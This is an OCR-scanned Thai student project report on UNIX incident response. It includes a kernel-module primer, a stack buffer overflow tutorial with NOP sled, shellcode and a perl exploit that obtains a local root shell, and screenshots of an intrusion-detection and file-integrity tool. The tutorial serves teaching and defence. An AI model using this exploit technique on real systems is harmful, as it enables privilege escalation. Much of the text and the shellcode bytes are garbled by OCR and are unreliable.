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Even though the computer security system is now much more powerful than the old days.

It cannot be considered the perfect system anyway. Since the problems still exist, the reliable

security system has to be ready for the unexpected events to occur. The system should be able to

handle those at the time intrusion taking place as well as before and after the affairs in order to be

able to make an incident response to such an event. The incident response mentioned includes

knowing what the intruder has done to the system, detecting the effects to the system, recovering

the system and gathering the information due to the legal issuc.

This project purposes presenting a new method in computer security aiming at the

effective way to response when there is an intrusion. All is done under UNIX environment.
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~_init hello 2 init{void)
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2. #and 1 150037 cleanup_module()  BvzgnGunnoulugaszgn
& s 3 o @ [ o a o o
aoavann eiin olEMde mmod  Tnondwiassudynd 2.3.13 ewlsniiag
3 W ~

= A & o - . a ¥ A & ar 1 \ .
warusefintusvld lnodesd macro  exit Wmih¥eilad Ty 15 static void

~ exithello 2 exit{void)

i’ d o
2.9.2 nsnexIndinediialuge

@ ' o s L o
728013 makefile A3 uaow lwa mosiialuga

/ obj—m +=hello— 1.0 \

all:

make —C /ib/modules/$(shell uname —r)/build M=$(PWD)
modules

clean:

\ make —C /lib/modules/$(shell uname —r)/build M=$(PWD) clean /

1’
@ o

modinfo iWumdadmSugvaziBuaves InshneyInaud ondresasy

madinfo hello— 1 ko

o
2.9.3 manumianlsihfinTuganmmaenemnudlmi
Asalimsisemeannlns module_param() T Tugadmsuiumerfiuuud 3
A1 1dun
d. % d‘ ] 3
L sevasdu)siaziumnnluluga
2. ¥iavosd wlsieziusinluluga
o o A A 3/ o g
3. AnBANn NIt ety INa sysfs
A P & W 2 = do o Y
Aauaaungoity 2.4 Aludunezmyefinuadanawunsndu Tag
@ et LYY o £ 1 i ' ]
veillumennei i ludsdwals @l Tasmmsarnudus NULL Twinl

9 FY w 1 »
090715 1% UNA DT

{ module param(myint, int, NULL, 0);]
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a o o =
’sﬂ“ﬁ3UﬂWgLiﬂLAﬁBﬂﬁﬁ&ﬁlzﬁl%uﬁﬂi module param_array() uae
o ) [Y a ar P
moadule paramstring() 1mmm:ﬂmé’fmmmzm‘uﬂﬁ’ﬂmmﬁmsua'ﬁmﬂmuﬂim
ar r o 3 3 . 4 a )
Tugavgiumanandiildlasldu11ns MODULE_PARM DESCO  #alia1n
s : o - = o S 9 =
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uneretamsiiy Tugardh lllweediiaTaviinsriaudr i luluga

[ insmod hello—3.ko mystr“ing="superca]ifragilisticexpialidocious"]

2.9.4 Jeunnmasznnaltunsuiuluga
= a 1 ' o
TuTlsunsummlafazisudu Ny main() nazezilszyiananisisnyny
o @ 2 L :sl L o o qs
frdea1ea lihTagq wazlilsunsuezauaslasuagiun uauysalypIfdin
' 3 { \3 a Y A o ar ay» 4 4 o o, o
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~ 3y W ' o o o
nzfonvoaTuga laududivanh lugaifdiues 15 18 Fauthe nagiludy
= z a @ ¥ a LY 1 - Y | o o c:l’fq = o
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1z 9z i Tugasuisen1) cieanup_module 93T AAs WAL InFUGUAY Tag

o o 3 o a
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2.9.5 ¥mAiuADA ( System call )
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2.10.1 nnﬁ'nnnmhuna1u61

2.10.1.1M30ATsIMMIBA NN
. o o o : 4 g .
Tilsiger Avdwvoalilsunsuiinidesineueg (Running Program) Falumsiazii i
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2.10.1.4 824 BSS
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a 4 i - =4
2.10.3 iikiled uazdnfiduadengnloud
5 M ar I Y w oaa v & dw e o ' & w
Tumw ¢ Soanu wioiWimaszgrunuAledidwmi s lidsdwmsluaan
Vg 9 2 e ¥ A e & ] llrd ~
UM LA NEEWII0] IaNfadugaud nlont lua NULL davuisanuina luiimeh
roA ] - i ] if 3/ o ar ar ta
wNIIUMALLUeUNINdasd 1501 i miuiiives
dc!y ar [ o 4
nilisaeagmitamsfudes 1y memory
' A ¥ f @ T 3 o LY L4
siausntilsanin lianaofunnaueaivies 1§ ud memory HiunldTVives
1 ¢ o - [ kY ua.: 1 ¥ 3 ar f—‘-:dl o3
athadiia  Tumsfeedloaiumsdu (overflow) Wussudhadwnlumstlosiu 8y
Yamisensawolmiossy ed1wiunslsmds swepy) lavlusziaszds Mlidld
o @ 4 o Id @ o 1 & st
aansaduuivhines loned Iathlddndiunisld
A o oo o a s 4 Y 1 qs.), a o '
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Ties Ny wxy Tu memory HasIAL abede oz Tuan lu1A1%

WXY Tu memory
414 2.8 uamatrliwas s memory

angU§ 13 lunsd@mad e 5 Tudd 1198y 2 Sumsis word (4 ludazgn
Flumsitutaya uasdoeniadios 6 Tud Sadosld 2 word Jefifihamioag 2 o
Tsnnsuifnnudoslums Toudamnsvmofuaasldiiugad
#include <stdio h>
int main(int arge, char **arpv){
char jayce[4]="Oum";
char here[8]="Giltian";
strepy(herc, "BrookFlora"),
printf{"%es\n", jayce);

return 0;}
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ﬁ::d & A = .:3’ AII o = d‘v;
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alfred@atlantis:~$ gee jayce.c
alfred@atlantis:~% ./a.out
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alfred@atlantis:~$

J o d d.
2.10.4 maduveativiles (iivies Tersedinad)
= 4 a o =1 2 1 [ -
vinf tananliuda ties szgnldlumsinudeys Feglumiieanudr s
o o =1 . o w d qs; A S o a @ 19
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Char strl[10];
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Strepy (strl, “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT),
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fioverflog.c
main() {
har o strifind;

3
HAITIANUTINT compile taztseuana

fdarkbasis®localhost lancelot]$ gcc -ggdb -o overflow overflow.c¢
{darkbasis@leocalhost lancelot]$ ./overflow
Segmentation fault

o ) . .
LIV UIUNA Segmentation Fault

(gdb) run
Starting program: Shome/darkbasis/lancelot/overflow

Program received signal SIGSEGV, Segmentation fault.
Ox41414141 in ?? ()

(gdb) info reg eip

eip Ox41414141 OX41414141

ar 3 = ] =S = A
#ie9Inand Debug Aulsunsy GDB axmiui lilsunsuezifaniuianaiatle
[ L" d'ﬂ ’ A a’ e é

N WITUTLIIBHAMTINAIUNUT  0x41414141 FuThlavgu 16 VoadIdhus A Fa9e
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WiudsTmaed  EIP azgniiswiiuais A Suilusurenlilsunsuwernuilszuianai

° ’ & ® = . 5 o '
AW 0x41414141 FagnrenonTusiraii i Segmentation Fault Tun) wndmenaiiy

a oo T =
IMATIATIE N 1INTT AUYBIAUAN (Stack Overflow)

2.10.5 mafuvewadin (audniensilviad)
nsduves uaan Hunsld meduves Wwles lsunauaitu uefn sy

maSunlanduliRalszaannd Towddudhnls

2.10.5.1 nanmsvel sudnlenedlvad

o a 4 a 3 oA i =T I e a =1
Tunsenilindudmnhauiy. mitegluitmass Eip ssgaimdwnidu il

a P Fou o <] < o ot =5 o o
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2.10.5.2 taudsznsvlunisTos@nuumsduvesaudn

Tunsudlu Elp Adun Wluaudndandesifoms adaivived Wilvinalng

] 3 #
Lﬁmﬂumsawiumﬁﬁmuﬂﬁumuﬂﬁ EIP Fdunusndui lnsododiutsenoudsil

2.10.5.3 Soiaey NOP (NOP Sled)

. »
a o =Y

A3 NOP Uanuninedy liamsviaues lsiae ualvdoulidedmid e la) drdail
© < . ‘é =) ] ]
vagmihwnlszgna s luma@udr l)dumi Exploit Buffer ¥9aziunidaiion NOP &1
w

EIP 3 hlgedumie Nop Talsunsudagshmataeusellisor Taoialludrluszuu xse

ﬂxi%()pcudelﬂilﬂx90

2.10.5.4 Shellcode

o A : ! fq 1 @ d Y o
Shellcode 1A IFS 0NN W UASES (machine code) NuUanMNGS Led e 1HH1

MFanae Tngammnezeglugihavsg i 16

Jishellcode. ¢

“liwr shellcode[] =
TR0 B0 adb s sbon x0T wadh agn !
el LT N Se L XE G R TEA DAL NI N DL NBR N0 KO T BN A xle s by y O

Larin s nEdy ndet wost s d o n0c e ds kst x 3 U edbh s e edit vdny ved”
Toesinoes xdesaf i fuaffobinSsht

vt omaind) {

1t fret;

ret = (inl *)&ret + 23
(*ret) = {int)shellcode;
}

by
NUUDEBT compile upzilszurnmn

[root@localhost lancelot]# 1s

cvorfhes overflow.c  shellcode.c

[roor@localhost lancelot]# vi shellcode.c
[root@localhest lancelot]# 1s

crerides overflow.c shellcode.c

[root@localhost lancelot]# gcc -o shellcode shellcode.c
shellcode.¢: In function "main’:

shellcode.c:8: warning: return type of 'main’ is not “int’
[rootdlocalhost lancelot]# chmoed u+s shellcode
[roor@localhost lancelot]# su darkbasis
[darkbasis@localhost lancelot]$ ./shellcode

sh-2.05b# id

uid=0(roet) gid=500(darkbasis) groups=500(darkbasis)
sh-2.05b#
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U157 18 root shell prompt (#)

2.10.5.5 Return Address

«
o

a o -1 . . [ A 3 ° 1
Auddniagalunis Taudunn Exploit fof1 Retun Address $39zAn3og ludminug

3l 9
¥

o a o o A ar 1 - o g = v - ay
ARTINDALR T TUIURs e ouR UM EIP Aduan A luauandasiismu sanesy
amvine T dadr v Shellcode Tatan uaitlumsdon ezt dmdou NoP 111y Tae

3 )
1149 131177 Shelicode 1A% 1% NOP 1imy

——» Exploit bulfer

NOPsled |  Shellcode Bepeatel
addresses
Vulnerable bufter FBP EIP

3 =, A o
U 2.10 uara s 3Ems TanRAuuumsduvesdudn
‘o o 2 Ay 4 ; < i 4
931 2NIIAT address axILRLA) EIP G99:F 115 dmdeu Nop dwmadeuhli

Shellcode lusiqa

2.10.5.6 Aethanadnieneilvind
< o v 2 o ) o ; .
VUL NSRBI SA e ESP § Haziludwmilsiiseehdedou Nop Tilld

. ¥
nazdlugwmisiisdesns 18 5 3l

#include «stdio.hs

unsigned tong get_sp{ueid){
—asmn__{"mov]l Lesp, ueax');

}

int main{){
printf{"Stack peinter (ESP) @ Dx=xan', get_sp());
}

i o . W
Lﬁﬂﬂ1ﬂ1'§ compile ufﬂ%‘ﬂixmawa ﬂgllﬂﬂ'l ESP apnun

fdarkbasis@localhost lancelot]$ ./get_sp
Stack pointer (ESP) : Oxbffffgis

¥ )
s a i Tlsuasuii lfinansduvestidulas
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Jibuff.c
sanc fude ostdie, he
pdomain( e arge, choor oargv[ D

by buf[400];
strepy(buf,argv[1]);
}

PINHUMIMT  compilettazalszuiana laslenisan NOP 171 260 mu@In Shellcode

gameldedumiaues esp i liifamsduveaios lviui g

[darkbasis@localhost lancelotr]d ./buff "perl -e "print "\x90"x260°; ‘perl -e 'print "xBLANCOAX3L
AxdbiyxbOAx17 A\ xedy xBOAKeb X1 E WK SR XBD X765 X008 X 3L\ XCcO\NBE K465 XO7 A NBIY 46\ X0\ xbO W X0b \ X B X E 35 X8\
NdeANOBNxBA\ X 56\ 0o\ xed\ xBOY k31 ndb i xBOA\ nd8h x40 xadi\ xBO \ xes xde AXEFAnf £ T /Bin/sh™ " “perl -e 'p
rint "\xfo\xfxbfA\X18"x51" ;"

sh-2.05b# iad

uid=0(root) gid=500(darkbasis) groups==3500(darkbasis}

sh-2.05b%

=1 ] 1 o
92111157 1A root shell prompt (#) 11A@AI1IA5 Exploit #1459

4
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a . ¥ aa 3 =1 3 1 & ar LW ad kY 5
Tumsi Exploit a0smsauveidiliiues lumileusums Exploit A2078ms8uved uadn
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Towe e wadn 1Wuagri lihnsloudua Retum Address usi luauved 71 1o
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File Integrity -
File Hame Jetclenoi/test
Type reqular file
Ewror detaif This fle has besn madified
CTime-0id 2007-01-2914:23.54 CTimo-Now 2007-01-28 14:24:10
MTime-0ld 2007-01-23 14:23.54. MTime-Mew 2007-01-28 14:24:10
Dwnar-0id 33 Owner-Hew
GID-0ld 3 GID-New
Mode-0id 33704 Mods-New
Size-OHd 126 Size-New 3
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1. sensor ADMISMIMUA THAUWIRINMTALAUAR M UA
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2. signature fafvua A Inngluuumsyngnifinue
3. signature class ADN13HMuA IHANMIINBTRvDIgUuLUMSIYNEN
4. Start time , End time A3 M UALINIATAT packer N HUMA 100N
5. IPaddress ADMIMUATHALMIOIN ip Ad MU uay Sivua Aunis Yanemald
6. proto ARHUATHANMNIN 115 lanoa
& q ¥ s Ae
7. port Aefmualifumnnneiaidivua
L. A . Y A =2 -
8. priority Aofmua IddumnInaNu NS Tae 1 Aeguusega Tilaude 4 fe
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9. payload ﬁ@iﬁﬁimﬁnﬂ%ﬂyﬁ datapayload 984 packet LU
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Nebwark
Sentor any
Signature
Signature Clars  any ~
Start Time Yea anp  ~  Month anp -+ Day any >+ How ay ~ Min any -
End Tune Year ary < Mormth aw =0 Day any v How any ~ Min any v
IP Addiess any ~ 0000
Proto any A
Port any e 1
Paonly wy
PAY LOAD none
Lesach |
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TWAPL 1D, Signature, Priority, Timestamp, [P_source, IP destination, Type Tay

A @ = i ~
anwrsodonlos b iuans payload 399 packet fidosms 14 Taoden D Adains

iResp@\nse

File integuty :

D

B L R DY T o T SR T

Signature
|ICMP Deshnation Unreachable Poit Urreachable
ICMP Destination Unreachable Port Unisachable
ICMP Destnation Urieachable Poit Unreachable
ICMP Destination Unieachable Poit Urieachabie
ICMP Dastination Unreachabia Pait Urrsachable
ICMP Destination Urneachable Foit Unieachable
IZMP Destination Urseachabls Post Unreachable
ICMP Destination Urigachable Port Unreachable
ICMP Destination Unseachable Port Unreachable
1EMP Drestination Urveachable Fort Unreachable

i ICMP Degtination Unceachable Port Unieachable

7 1 ICMP Dastinstion Lnieachable Porit Unieachable

IEMP Destination {nieachable Port Unreachable
ICMP Destination Unrsachable Foit Unieachable
ICMP Destinalion Urvearhable Patt Urueachable

 ICMP Destination Linreachable Port Urieachable
* 't ICHMP Destination Lirreachable Port Unreachable
i+ ICMP Destination Un:eachable Pott Unreachable
iz ICMP Destination Unreachable Pait Unreachable

ICMP Destinalion Lireeachable Port Unreachable

Priorty

W W o W oW W W W W oW W W oW WoWw oW

Timestamp
2007.0-26 22.22.03
2007-01-26 22:22.03
2007-01-26 22:21:.29
2007-01-26 22.21:29
2007.01-26 22:20.44
2007-01-26 22:20:94
2007 0126 222028
20070126 22:20. 28
2007-m-26 22:20:1
2007-01-26 22201
2007-01.26 222001t
2007-01-26 22:19.39
2007-01-26 22:19:33
2007-01-26 22:13:10
2007-01-26 221970
2007-01-26 22:18:26
2007-01-26 22.18:26
2007-01-26 22:17.45
2007-01-26 22:17:45
2007-01-26 2217:.04

IS R A RN S B

FIFISTI Rty RPRVR

Ip_source

161 246.5.32:
161.246.5.32
161.246.5.32:
181,246 5.32:
161.246.5.32.
161.246.5.32:
61,2462 32
161,246 5.32;
161.245.5.32.
161,246,532
161.246.5.32
161.2465.32:

161 2465.32:

161.246.5.32
161.246,5.32:
161 245.5.32.
161246 5,32
161 245.5.32
161.246.5.32:
161.246.5.32:
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ip_destination Type
161.246.4.3: iemp
161.246.4.3; icmp
161.246.4.3 cmp
161 246.4.3 Loy
161 246.4.3 icmp
161.246.4 3 icmg
161.246.4.3: mp
161.246.4.3: IMp
161246.4 3 mp
161.246 4.3 Iomp
16124643 icmp
161.246.4.3 ictp
161.246.4.3: icmp
161.246.4.3. icmp
161 246.4.3 icmp
TE1.246.4.3 cmp
1612464 3 icmp
161.246.4.3 icmp
161.2464 3 icmp
161.246.4.3 icmp
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Log File -

Host any w

Msg

Facility any k4

Start Time Year any Month any ~  Day ary ~ Hour ary v Min any ~  Sec anp v
End Time Year ary « Month any v Day ary v How any ~  Min ang v Sec any v
Priority any -

[ search |
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Log File :

index Prog Mso TimeStamp Prority  Msg  Facility
39372 whd  sshd{3773} [pam_un] sessian opened loi user iaat by [uid={) 2007-01-29 infa 1Psecd  auth
33371 sshd  sshd[3773] [pam_unix} session opened for usel root by (wid=0] 2002-01-29 infe IPsacd  auth
39370 sshd  sshd{3770] [pam_unix] session openad loi user raat by [wd=0] 2007-01-29 info IPs2cd  awth
39363 sshd  sshd{3770} (pam_unixz] session opened Jor user root by {uid=0] 2007Mm-29 info IPsecd  auth
39368  sshd  sshd[3768] Accepted publickey for ool lrom 2 MIfF 172.16.24.128 port 1216 ssh2 20070129 info IPsecd  auth
39367 sshd  sshd[376B] Accepted publickey for raol from ; ffff: 172.16.24.128 port 1216 ssh2 2007-0%-29 rfo IPsecd  auth
39366 sshd  sshd[3766) Accepted publickey lor root from - fiff: 172.16.24.128 port 1215 ssh? 2007-01-29 afo IPsecd auth
39385 sshd  sshd{37B6] Accepted publickey for root from - fItF172.36.24.126 part 1215 ssh2 2007-01-29 info IPsecd  auth
39364  sshd  ssho{3763) [pam_unix) session opened for user ool by |ud=0) 2007-01-29 info IPsecd  auth
39363  sshd  ssha[3763] |pam_unix) session opened for user jool by Juid=0) 2007-M-22 inlo IPsecd  auth
39382 sshd  sshd[3760] Ipam_unix} session openad for Lser rool by fuid=0) 2007-01-2% info 1Psecd  auth
39361  sshd  sshd[3760] fpam_unix} session opened far user rool by [uid=0) 20067-01-29 nlo iPsecd  aulh
3930  sshd  sshd[375E6] Accepted publickey for root from :fifl:172.16.24.128 porl 1213 ssh2 200701-29 nlo Pyecd  auth
39369 sshd  s3hd[3756] Accepled publickey for rook fram :Fft:172 16.24.128 pant 1213 ssh2 2007-01-29 infa tPsecd  auth
39368 sshd  sshdj3757) Accepled publickey for inct from 12t 172 16.24.128 port 1214 ssh? 2007-01-29 infe {Psacd  auth
39357 sshd  sshd[3757) Accepled publickep for ool from CIffE 172 16.24.128 part 1214 ssh? 2007-01-29 info 1Psecd  auth
39356 sshd  sshd{3753) {pam_unix) session opened loi user oot by {uid=0] 200701-29 info IPsecd  auth
39355  sshd  sshd[3753) (pam_wniz] session opened lor user root by [wd=0) 2007-01-29 infa IPsecd  auth
39354 sshd  sshd[374B) Accepted publickey lor rool om - Hif 172 16,24, 126 port 1212 ssh? 2007-0%-29 rfo IPsecd  auth
33353 sshd  sshd[3748} Accepted publickey ior root liom ::fiif:172.16. 24,128 poit 1212 ssh? 2007-01:29 info IPsecd  auth
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2 stroppl) 8 2029 200740113 151328
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Snapshot management
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2 FERNE Waking —
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